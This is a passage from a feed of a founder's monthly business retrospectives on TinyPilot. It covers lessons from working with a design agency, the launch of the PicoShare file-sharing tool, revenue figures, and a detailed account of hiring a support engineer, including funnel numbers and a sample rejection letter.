&lt;p>My main short-term expenses are optimizing the Voyager 2&amp;rsquo;s electrical design for manufacturability ($10-20k/month) and redesigning the &lt;a href="https://tinypilotkvm.com">sales website&lt;/a> ($5-6k/month). In a few months, we&amp;rsquo;ll finalize the Voyager 2&amp;rsquo;s circuit boards, and I&amp;rsquo;ll stop fiddling with the website, so my costs will fall drastically. If I sustain my sales, I&amp;rsquo;ll earn $20k/month by just not starting any new projects.&lt;/p>
&lt;p>My initial plan was to work with my electrical engineering partner on the Voyager 3 as soon as we stabilized production for Voyager 2. Developing the Voyager 3 will cost about $15-25k per month for the next six months, swallowing my profit for the rest of the year. Not only that, it will consume a large portion of my time, as releasing a new product changes a lot of TinyPilot&amp;rsquo;s internal workflows.&lt;/p>
&lt;p>At this point, I think it&amp;rsquo;s time to start collecting income. I can start new projects later in the year, but first, I&amp;rsquo;d like to grow sales to the $70-90k range so that I can invest in product improvements without draining all my profits.&lt;/p>
&lt;h2 id="what-i-wish-i-knew-about-working-with-a-design-agency">What I wish I knew about working with a design agency&lt;/h2>
&lt;p>Back in September, I &lt;a href="https://mtlynch.io/retrospectives/2021/10/#investing-more-into-design">hired a design agency&lt;/a> to improve the TinyPilot website. At the time, I thought the project would take six weeks and cost $7k. Six months later, I&amp;rsquo;ve spent $39,577, and the project is still not done.&lt;/p>
&lt;p>How did we get here? I can point to mistakes on the agency&amp;rsquo;s side, but the core problem was that I didn&amp;rsquo;t know how to work effectively with an agency. I&amp;rsquo;ve only ever hired freelancers, and I didn&amp;rsquo;t realize how much an agency changes the dynamics.&lt;/p>
&lt;p>I&amp;rsquo;m recording the things I wish I knew at the beginning, as a reminder to myself and in the hopes that it benefits someone who hasn&amp;rsquo;t started working with an agency yet.&lt;/p>
&lt;h3 id="an-agency-requires-more-management-not-less">An agency requires more management, not less&lt;/h3>
&lt;p>The fundamental mistake I made when hiring this agency was underestimating how much time I&amp;rsquo;d need to manage them.&lt;/p>
&lt;p>The agency works with me for 40-60 hours per month. That&amp;rsquo;s the same amount of time as each of TinyPilot&amp;rsquo;s other freelancers, so I thought the agency would require similar oversight to one freelancer. I should have budgeted significantly more time to manage them.&lt;/p>
&lt;p>When you work with an agency, you&amp;rsquo;re interacting with multiple people who are working on their own subprojects. More people necessarily means more management time.&lt;/p>
&lt;p>For example, suppose a 40-hour/week employee requires six to eight hours/week of management. If you split that role into two people working 20 hours each, your management time would probably balloon to 10-12 hours per week. Your employees are working the same total number of hours, but there&amp;rsquo;s an efficiency loss in communicating with two people instead of just one.&lt;/p>
&lt;p>The same logic applies to a design agency. Even if you&amp;rsquo;re getting 40 hours/month of work, the client has to work harder managing six members of an agency than they would if a single freelancer was doing the same work.&lt;/p>
&lt;h3 id="aggressively-protect-your-scope">Aggressively protect your scope&lt;/h3>
&lt;p>The biggest problem with this project has been in scoping. You might have guessed, given that I&amp;rsquo;m six months into a six-week project.&lt;/p>
&lt;p>Initially, the agency and I agreed that the project was just a rebrand. We&amp;rsquo;d create a new logo, color scheme, and font for the website and then evaluate the next steps. But then came scope creep. The designers kept silently expanding the scope until I found myself halfway through &lt;a href="https://mtlynch.io/retrospectives/2022/01/#tinypilots-new-logo-and-learning-to-work-with-designers">a full redesign of the website&lt;/a>.&lt;/p>
&lt;p>I kept feeling like if I let them go for a little longer, they&amp;rsquo;d wrap up within the month, but things kept dragging. Looking back, I should have just cut my losses and downscoped the project back to the rebranding, as we had originally planned. But I was distracted by the Voyager 2 launch, so the easiest thing for me to do was let the agency keep going.&lt;/p>
&lt;p>Even though I thought I learned my lesson, scope creep bit me again this month. I created a project board with outstanding tasks for the redesign in priority order. I booked 60 agency hours for March, but I wasn&amp;rsquo;t sure the design tasks would consume all the hours. I added some low-priority bugs at the end of the list in case the agency had time left over.&lt;/p>
&lt;p>You know where this is going&amp;hellip;&lt;/p>
&lt;p>The design agency left all of the design tasks half-finished, but they used a quarter of my hours for the month to fix all the low-priority bugs.&lt;/p>
&lt;p>Going forward, I need to set better expectations so they know not to work on non-critical tasks until all the critical tasks are complete.&lt;/p>
&lt;h3 id="beware-open-loops">Beware open loops&lt;/h3>
&lt;p>If you assigned a freelancer tasks A, B, and C, it would be odd if they abruptly stopped working on task A when it was 80% complete and then started working on task B instead. It would be even more bizarre if they stopped midway through task B to start task C.&lt;/p>
&lt;p>With an agency, it&amp;rsquo;s easy to end up in a situation where several tasks are only 80% complete. Maybe Alice at the agency only has 10 hours free this month, so she gets 80% through task A. Bob starts next, but he doesn&amp;rsquo;t want to pick up Alice&amp;rsquo;s project midway through, so he starts task B and gets 30% through it. Before you know it, you&amp;rsquo;ve spent $39,577, and you can&amp;rsquo;t use any of the work because it&amp;rsquo;s all only 80-90% finished.&lt;/p>
&lt;p>In the book &lt;em>Getting Things Done&lt;/em>, David Allen describes unfinished tasks as &amp;ldquo;open loops.&amp;rdquo; The more open loops you have, the worse your focus is because each one occupies a bit of real estate in your mind. A freelancer will generally have only a couple of open loops with you at once, whereas a design agency can have 5-10x as many, and they drag on for longer.&lt;/p>
&lt;p>Open loops are also worse value for your money. Suppose you need to complete six tasks over the course of six months. If you hired an individual, they&amp;rsquo;d deliver about one task per month. If you pay them at the end of each month, you&amp;rsquo;re enjoying the benefit of the work around the same time you pay for it. With an agency, they might assign those six tasks to six people who only spend 1/6th of their time on your project. At month five, the agency has 80% of the money, but you&amp;rsquo;re getting 0% of the benefit because none of the tasks are complete yet.&lt;/p>
&lt;h3 id="start-hourly-then-switch-to-retainer">Start hourly, then switch to retainer&lt;/h3>
&lt;p>The agency I&amp;rsquo;m working with offers both hourly and retainer plans. With hourly, I can buy a block of 30 hours up front, and then the agency works with me until they&amp;rsquo;ve consumed those hours. With a retainer plan, I commit to a certain number of hours every month, with a minimum of 40 hours per month. It&amp;rsquo;s a 20% discount from the hourly rate, but unused hours don&amp;rsquo;t roll over, and I have to give 28 days&amp;rsquo; notice to cancel.&lt;/p>
&lt;p>What I didn&amp;rsquo;t realize is that hourly clients can go months starved of resources. I started working with the agency in October, and the work was great for two months but took a massive nosedive in December.&lt;/p>
&lt;p>At the time, I thought it was just a holiday slowdown, but when it continued into January, I raised the issue with the owner. He admitted that the agency had lost staff and taken on new retainer clients, so they were finding it difficult to allocate bandwidth for TinyPilot, as I was their only hourly client. He recommended I switch to a retainer agreement to guarantee priority.&lt;/p>
&lt;p>I was annoyed. They deprioritized my project and expected me to make a bigger commitment to them? At the same time, I get it. The agency is a small business too, and they want to prioritize long-term clients rather than one-off jobs. The agency told me back in October that I&amp;rsquo;d get priority as a retainer client, but I didn&amp;rsquo;t realize how much of a difference that would make.&lt;/p>
&lt;p>If I were to do it again, I&amp;rsquo;d buy one 30-hour block as a trial hire for the agency and then switch to a retainer agreement for the remainder of the project. Having guaranteed hours on the agency&amp;rsquo;s schedule seems to yield better quality, as I have protected time on their schedule instead of just a few scattered hours throughout the month.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="picoshare">&lt;a href="https://demo.github.com/mtlynch/picoshare/">PicoShare&lt;/a>&lt;/h3>
&lt;p>PicoShare is an open-source, minimalist file-sharing tool I created in February.&lt;/p>




&lt;figure class="video" style="max-width: 800px">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="picoshare-demo.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>PicoShare is a tool for sharing images, videos, or other files.&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>I often share images, videos, and PDFs with other people. If I&amp;rsquo;m sending a file for business, I feel silly sending a link to a file I uploaded to imgur or mega.nz. Those services don&amp;rsquo;t exactly scream &amp;ldquo;professional business communication.&amp;rdquo; I don&amp;rsquo;t like dealing with Google Drive or Dropbox either because their UI gets in the way and sometimes pushes the recipient to create an account before viewing the file. PicoShare lets me create easy-to-share links without relying on a third-party service.&lt;/p>
&lt;p>I officially released &lt;a href="https://github.com/mtlynch/picoshare/releases/tag/1.0.0">PicoShare v1.0.0&lt;/a> on March 20th by &lt;a href="https://old.reddit.com/r/selfhosted/comments/tirbdq/picoshare_a_minimalist_easytohost_service_for/">announcing it to the /r/selfhosted&lt;/a> subreddit. The reception was positive but nothing sensational. Slowly, it picked up steam in the weeks that followed.&lt;/p>
&lt;p>YouTube creator David Burgess made &lt;a href="https://www.youtube.com/watch?v=9eJeA8If0dY">a video about PicoShare&lt;/a>, and then Hal Gus &lt;a href="https://www.youtube.com/watch?v=E0G5mSe04NE">made another&lt;/a>. A self-hosting blogger &lt;a href="https://mariushosting.com/how-to-install-picoshare-on-your-synology-nas/">wrote a tutorial&lt;/a> for installing PicoShare on a Synology NAS (fun for me because my first-ever blog post was about &lt;a href="https://mtlynch.io/sia-via-docker/">setting up a Docker image on my Synology NAS&lt;/a>).&lt;/p>
&lt;p>PicoShare is now the fastest-growing project I&amp;rsquo;ve ever created. The &lt;a href="https://github.com/mtlynch/picoshare/commit/bd4b3c38a680ffc06f95174d0e062cb429e2e4d1">first commit&lt;/a> was February 13th, and the project currently has 664 stars on GitHub. For comparison, &lt;a href="https://github.com/tiny-pilot/tinypilot">TinyPilot&lt;/a> has 1.8k stars after almost two years, and &lt;a href="https://github.com/mtlynch/logpaste">LogPaste&lt;/a> has 201 stars after one year.&lt;/p>
&lt;p>Open-source developers made cool code contributions as well:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/viktorpenelski">@viktorpenelski&lt;/a> added an option for &lt;a href="https://github.com/mtlynch/picoshare/pull/125">preserving shared files forever&lt;/a>.&lt;/li>
&lt;li>&lt;a href="https://github.com/dertuerke">@dertuerke&lt;/a> added &lt;a href="https://github.com/mtlynch/picoshare/pull/119">human-readable formatting&lt;/a> for file sizes (e.g., &amp;ldquo;1.53 MB&amp;rdquo; instead of &amp;ldquo;1530000 bytes&amp;rdquo;).&lt;/li>
&lt;li>&lt;a href="https://github.com/dertuerke">@dertuerke&lt;/a> added a &lt;a href="https://github.com/mtlynch/picoshare/pull/128">&amp;ldquo;Copy to Clipboard&amp;rdquo; button&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>I added support for multiarch Docker images, so now you can run the PicoShare Docker image on ARM-based systems like the Raspberry Pi. The process of creating multiarch builds is &lt;a href="https://github.com/mtlynch/picoshare/pull/164/files">surprisingly simple&lt;/a>, but it was so hard to find instructions because the process keeps changing.&lt;/p>
&lt;p>I also created a &lt;a href="https://demo.github.com/mtlynch/picoshare/">live demo&lt;/a> server. I avoided it at first because I didn&amp;rsquo;t want to deal with people uploading illegal content or exhausting bandwidth. Then, I realized I could add a limitation to the demo server where users can only access files that were uploaded from their own IP. That allows people to play with the service, but it limits the amount they can abuse it.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Released TinyPilot Pro 2.4.0&lt;/li>
&lt;li>Released PicoShare 1.0.0&lt;/li>
&lt;li>Trained TinyPilot&amp;rsquo;s first support engineer&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Agencies require different management than freelancers.&lt;/li>
&lt;li>Creating a Docker image for a self-hosted tool makes it much more attractive.
&lt;ul>
&lt;li>I suspect the reason PicoShare has attracted users so quickly is that you can run it with a single Docker command.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish a blog post and video about building a homelab NAS server with TinyPilot.&lt;/li>
&lt;li>Complete the TinyPilot website redesign.&lt;/li>
&lt;li>Publish a release of TinyPilot Pro with opt-in experimental support for H264 video over WebRTC.&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 20</title><link>https://mtlynch.io/retrospectives/2022/03/</link><pubDate>Tue, 08 Mar 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2022/03/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I hired TinyPilot&amp;rsquo;s first support engineer.&lt;/li>
&lt;li>I learned that hiring a support engineer is even harder than I expected.&lt;/li>
&lt;li>I&amp;rsquo;m evaluating platforms for paying international contractors.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="launch-voyager-2-poe-edition">Launch Voyager 2: PoE Edition&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I finally &lt;a href="https://tinypilotkvm.com/blogs/news/voyager-2-poe">launched Voyager 2 PoE&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Oh, boy. This took way longer than I expected. I looked back at the original design document that I wrote in early April 2021. I estimated that we&amp;rsquo;d have 200 units ready by May 15, 2021. In other words, I estimated six weeks, and it took 11 months.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I hired TinyPilot&amp;rsquo;s first support engineer.&lt;/li>
&lt;li>I learned that hiring a support engineer is even harder than I expected.&lt;/li>
&lt;li>I&amp;rsquo;m evaluating platforms for paying international contractors.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="launch-voyager-2-poe-edition">Launch Voyager 2: PoE Edition&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I finally &lt;a href="https://tinypilotkvm.com/blogs/news/voyager-2-poe">launched Voyager 2 PoE&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Oh, boy. This took way longer than I expected. I looked back at the original design document that I wrote in early April 2021. I estimated that we&amp;rsquo;d have 200 units ready by May 15, 2021. In other words, I estimated six weeks, and it took 11 months.&lt;/p>
&lt;h3 id="hire-a-tinypilot-support-engineer">Hire a TinyPilot support engineer&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Started a trial hire with a support engineer&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>It was a lot of work to hire for this role, but I&amp;rsquo;m excited to have this new member of the team. This retrospective is mostly about the process of hiring a support engineer, so read on for more details.&lt;/p>
&lt;h3 id="complete-design-work-on-tinypilot-website-overhaul">Complete design work on TinyPilot website overhaul&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Deferred this until March&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: N/A&lt;/li>
&lt;/ul>
&lt;p>The design firm I&amp;rsquo;m working with had too few hours to complete the design in February. I&amp;rsquo;ve negotiated guaranteed hours with them in March and April, so I expect to complete this by the end of the month.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>January 2022&lt;/th>
 &lt;th>February 2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>7,282&lt;/td>
 &lt;td>6,991&lt;/td>
 &lt;td>&lt;font color="red">-291 (-4%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>15,477&lt;/td>
 &lt;td>14,916&lt;/td>
 &lt;td>&lt;font color="red">-561 (-4%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$51,066.78&lt;/td>
 &lt;td>$49,026.99&lt;/td>
 &lt;td>&lt;font color="red">-$2,039.79 (-4%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$5,075.00&lt;/td>
 &lt;td>$3,552.41&lt;/td>
 &lt;td>&lt;font color="red">-$1,522.59 (-30%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$56,189.53&lt;/td>
 &lt;td>$52,627.15&lt;/td>
 &lt;td>&lt;font color="red">-$3,562.38 (-6%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$8,425.67&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$14,130.75&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$22,736.42 (+inf%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Sales have been steady since January. Total sales are down slightly due to the shorter month, but on a per-day basis, I actually did better than in January.&lt;/p>
&lt;p>My profit was atypically high in February, but it&amp;rsquo;s mainly a consequence of timing. I&amp;rsquo;m waiting to receive a few large invoices, and my business credit card finally increased my line of credit by $20k, so I&amp;rsquo;m holding more cash.&lt;/p>
&lt;h2 id="hiring-a-support-engineer-the-job-posting">Hiring a support engineer: the job posting&lt;/h2>
&lt;p>I&amp;rsquo;ve wanted to hire a support engineer for the past few months, but I&amp;rsquo;ve been short on time. It took even longer than I expected, but I&amp;rsquo;ve hired my first support engineer. The first step was to create a &lt;a href="https://web.archive.org/web/20220128024101/https://tinypilotkvm.com/jobs/support-engineer/">job posting&lt;/a>.&lt;/p>
&lt;p>I advertised the job description in three places:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Channel&lt;/th>
 &lt;th>Cost&lt;/th>
 &lt;th>Total Candidates&lt;/th>
 &lt;th>Passed Initial Screen&lt;/th>
 &lt;th>Trial Hires&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://twitter.com/deliberatecoder/status/1488993366666887168">Twitter&lt;/a>&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>2&lt;/td>
 &lt;td>1&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://news.ycombinator.com/item?id=30184256">Hacker News&lt;/a>&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>Didn&amp;rsquo;t track, seemed low&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>We Work Remotely&lt;/td>
 &lt;td>$358&lt;/td>
 &lt;td>219&lt;/td>
 &lt;td>18&lt;/td>
 &lt;td>1&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$358&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>221&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>19&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>1&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>One of the problems with hiring is that, as a small business owner, I want to hire someone who understands what my company is and communicates that to me. The problem is that most companies treat their candidates like garbage. This creates an ecosystem that discourages candidates from investing time into any particular company because there&amp;rsquo;s a 90% chance that their application is going into the void.&lt;/p>
&lt;p>When I wrote the job posting, I tried to make it clear that I&amp;rsquo;m personally reading each and every application. Applications aren&amp;rsquo;t going to a machine learning bot or a clueless recruiter who&amp;rsquo;s blindly screening on keywords. If you put in effort, I&amp;rsquo;ll put in effort.&lt;/p>
&lt;p>I also wanted candidates to feel that I respected their time throughout the hiring process because that&amp;rsquo;s how I want them to feel when we work together.&lt;/p>
&lt;p>A lot of job postings say something like, &amp;ldquo;Mention the word &lt;code>banana&lt;/code> in your cover letter, so I know you read this description carefully.&amp;rdquo; I deliberately chose not to do that, as I feel like it starts the relationship off on a sour tone. I don&amp;rsquo;t want candidates to think my default assumption is that they&amp;rsquo;re lazy or incompetent. It only takes me a few seconds to recognize a low-effort application, so I don&amp;rsquo;t need magic keywords.&lt;/p>
&lt;p>I wasn&amp;rsquo;t sure what to choose for pay. It&amp;rsquo;s tough to gauge the market rate for this role because so few job postings list compensation, especially for a part-time contract role. I chose $40/hr, but other founders I spoke to say they&amp;rsquo;d expect to find a qualified candidate for $20-30/hr.&lt;/p>
&lt;h2 id="hiring-a-support-engineer-screening-applications">Hiring a support engineer: screening applications&lt;/h2>
&lt;p>Once the job posting was up, it was time to start screening applications. This was the most time-consuming part of the process.&lt;/p>
&lt;p>At this stage, I was evaluating:&lt;/p>
&lt;ul>
&lt;li>Is their writing clear and syntactically correct?&lt;/li>
&lt;li>Did they take the time to learn about TinyPilot?&lt;/li>
&lt;li>Do they have experience with support or writing user-facing documentation?&lt;/li>
&lt;li>Do they meet the technical requirements?&lt;/li>
&lt;/ul>
&lt;p>I tried to identify standout candidates and responded to them quickly. For everyone else, I either fast-rejected them or put them in a queue for a response as I had availability.&lt;/p>
&lt;p>I quickly found that I needed some sort of organization system for managing candidates at different stages of the process, so I sorted all the ongoing threads into email folders:&lt;/p>
&lt;h3 id="instant-reject">instant-reject&lt;/h3>
&lt;p>My &lt;code>instant-reject&lt;/code> folder was for candidates who didn&amp;rsquo;t follow the instructions about how to apply. This included:&lt;/p>
&lt;ul>
&lt;li>Candidates who sent me a blank email with only their resume attached&lt;/li>
&lt;li>Candidates whose letter didn&amp;rsquo;t mention any specifics about the job or TinyPilot (recycled application)&lt;/li>
&lt;li>Candidates who didn&amp;rsquo;t meet the job requirements and didn&amp;rsquo;t acknowledge the gap in their cover letter&lt;/li>
&lt;/ul>
&lt;p>For these candidates, I moved their application to the &lt;code>instant-reject&lt;/code> folder and didn&amp;rsquo;t send a reply.&lt;/p>
&lt;p>I put 138 candidates (62% of total) into the &lt;code>instant-reject&lt;/code> folder.&lt;/p>
&lt;h3 id="cover-letter-reject">cover-letter-reject&lt;/h3>
&lt;p>The &lt;code>cover-letter-reject&lt;/code> folder was for candidates who made a good faith effort to apply, but I could tell from their cover letter or resume that they were a poor match.&lt;/p>
&lt;p>For these candidates, I sent individualized responses. Here&amp;rsquo;s an example:&lt;/p>
&lt;blockquote>
&lt;p>Hi Joe,&lt;/p>
&lt;p>Thanks for reaching out and for taking the time to learn more about TinyPilot.&lt;/p>
&lt;p>Unfortunately, I don&amp;rsquo;t think this would be a good match.&lt;/p>
&lt;p>It seems like you have a lot of great experience with Linux and Raspberry Pi, but the position requires someone with more experience writing customer-facing content. Your English is pretty strong, but there were several errors in your letter and resume, so I don&amp;rsquo;t think this role would be a good fit.&lt;/p>
&lt;p>I&amp;rsquo;m sorry it didn&amp;rsquo;t work out, but I wish you the best of luck in your search.&lt;/p>
&lt;p>Best,&lt;br>
Michael&lt;/p>&lt;/blockquote>
&lt;p>In the response, I&amp;rsquo;m trying to emphasize that I&amp;rsquo;m rejecting their &lt;em>application&lt;/em> rather than saying, &amp;ldquo;I&amp;rsquo;m rejecting &lt;a href="https://mtlynch.io/human-code-reviews-1/#never-say-you">&lt;strong>you&lt;/strong>&lt;/a>.&amp;rdquo; I avoided getting too specific because I didn&amp;rsquo;t want the candidate to feel like I was picking on them or rejecting them over a single careless error.&lt;/p>
&lt;p>Most employers skip individualized rejection letters, and I understand why. It&amp;rsquo;s a huge time-suck, and it has no benefit for the employer. Still, I feel like it&amp;rsquo;s disrespectful to ignore people or send them a form letter after I&amp;rsquo;ve asked them to spend unpaid time applying to work with me.&lt;/p>
&lt;p>About 65% of candidates never responded to my rejection letter. Roughly 25% told me they appreciated the feedback. Of these, a few asked for clarification, and I gave specific notes about things they could fix and recommended resources for improving their writing.&lt;/p>
&lt;p>Of candidates who received a rejection note, about 10% tried to convince me that they could prove themselves if I let them complete my screening questions. It was tempting, but giving feedback on screening questions takes an order of magnitude more time than rejecting at the cover letter stage, so I didn&amp;rsquo;t want to waste time for both of us.&lt;/p>
&lt;p>Most of the people who responded seemed surprised and grateful to receive a response that cited specific problems with their application, as that seems to be rare. Nobody became hostile in their responses. Everyone stayed professional.&lt;/p>
&lt;p>I put 62 candidates (28%) into the &lt;code>cover-letter-reject&lt;/code> folder. Between &lt;code>instant-reject&lt;/code> and &lt;code>cover-letter-reject&lt;/code>, only 19 candidates (9%) made it past the resume screen.&lt;/p>
&lt;h3 id="pending-questions">pending-questions&lt;/h3>
&lt;p>If a candidate&amp;rsquo;s cover letter had clear, grammatically correct English, and they met the technical requirements, I wrote them a personalized response telling them what I liked about their application and why I think they might be a match for TinyPilot.&lt;/p>
&lt;p>I then invited these candidates to answer three example customer support requests so I could get a sense of how they speak to customers and offer technical solutions.&lt;/p>
&lt;p>After I responded, I put them in the &lt;code>pending-questions&lt;/code> folder until they completed the questions.&lt;/p>
&lt;p>19 candidates (9%) reached this stage. Of those, only 10 (53%) submitted answers, though two or three candidates only got the questions in the last few days and may still respond.&lt;/p>
&lt;h3 id="questions-reject">questions-reject&lt;/h3>
&lt;p>When the candidate shared their answers to my sample questions, I decided whether to proceed with them to a trial hire.&lt;/p>
&lt;p>I sent all candidates who answered the sample questions detailed feedback regardless of whether I was making them an offer. I got this idea from Firebase founder, Andrew Lee:&lt;/p>
&lt;blockquote>
&lt;p>It’s critical that candidates don’t feel their time is wasted. At Firebase, we made sure of this by putting a great deal of effort ourselves into the take home test process&amp;hellip; [A]fter they submitted their answer, we would provide them with a thorough and detailed code review (usually by the legendary &lt;a href="https://twitter.com/mikelehen">@mikelehen&lt;/a>).&lt;/p>&lt;/blockquote>
&lt;blockquote>
&lt;p>We treated this code review like a real production code review, and we did it whether or not we planned to move forward with the candidate. This review was very important for two reasons. First, it showed the candidate that we took them seriously and that we were investing a significant amount of our own time in the interview process. Second, it gave the candidate an idea of what working at Firebase might be like; “If they do code reviews this well for their coding challenges, I can’t wait to work with this team on real production code!”&lt;/p>
&lt;p>-Andrew Lee, &lt;a href="https://startupandrew.com/posts/how-firebase-interviewed-software-engineers/">&amp;ldquo;How Firebase Interviewed Software Engineers&amp;rdquo;&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>Andrew&amp;rsquo;s process always stuck with me as the right way to treat people, so I&amp;rsquo;ve tried to apply that mentality in hiring for any position.&lt;/p>
&lt;p>Most people were appreciative of the detailed feedback and said they found the notes helpful. One person felt that my criteria were too narrow, and I ended up changing the question based on his feedback.&lt;/p>
&lt;p>Of candidates who answered the questions, I put 17 of 19 (89%) in the &lt;code>questions-reject&lt;/code> folder.&lt;/p>
&lt;h3 id="maybe-trial-hire">maybe-trial-hire&lt;/h3>
&lt;p>In the first week of my search, one candidate answered the screening questions pretty well, but I still had reservations. They were the best I&amp;rsquo;d seen so far, but I wanted to see more options. I told them that I was going to have a decision for them in a few weeks, and I put them in the &lt;code>maybe-trial-hire&lt;/code> folder. I ended up finding a candidate who was a better match, so I later told the &amp;ldquo;maybe&amp;rdquo; candidate I went with someone else.&lt;/p>
&lt;p>After I hired my first support engineer, I realized it would be too hard to run a trial hire with multiple candidates. With developers, I can run multiple trial hires at once because I can just give them separate tasks. It felt too dog-eat-dog to have multiple support engineers seeing each other&amp;rsquo;s answers on the help forum and knowing that they&amp;rsquo;re competing for the same job.&lt;/p>
&lt;p>I&amp;rsquo;m still keeping the &lt;code>maybe-trial-hire&lt;/code> folder in case I add support engineers in a few months. I&amp;rsquo;m transparent with candidates that I&amp;rsquo;m already running a trial hire, but they can continue with their application, and they&amp;rsquo;ll be on my shortlist if I hire additional support later. Alternatively, I give them the option to pause their application and resume from where they left off.&lt;/p>
&lt;h3 id="trial-hire">trial-hire&lt;/h3>
&lt;p>I was only trial hiring one person at a time, so it was easy to track at that stage. But, for completeness&amp;rsquo; sake, I created a folder for the final stage of the hiring funnel.&lt;/p>
&lt;h3 id="summary">Summary&lt;/h3>
&lt;p>Converting my folder system to a &amp;ldquo;hiring funnel,&amp;rdquo; here are what the numbers looked like at each stage:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Stage&lt;/th>
 &lt;th># of candidates&lt;/th>
 &lt;th>% of total&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Applied for the job&lt;/td>
 &lt;td>221&lt;/td>
 &lt;td>100%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Met the minimum application requirements&lt;/td>
 &lt;td>83&lt;/td>
 &lt;td>38%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Strong enough application to offer sample questions&lt;/td>
 &lt;td>19&lt;/td>
 &lt;td>9%&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Trial hire&lt;/td>
 &lt;td>1&lt;/td>
 &lt;td>0.5%&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="hiring-a-support-engineer-payment">Hiring a support engineer: payment&lt;/h2>
&lt;p>I currently work with three freelance developers, each in a different country. They all receive payment in different ways. Now that I&amp;rsquo;m adding a fourth contractor, I thought I should standardize the payment process with a single solution.&lt;/p>
&lt;p>I looked for payment platforms for remote workers that would do the following:&lt;/p>
&lt;ul>
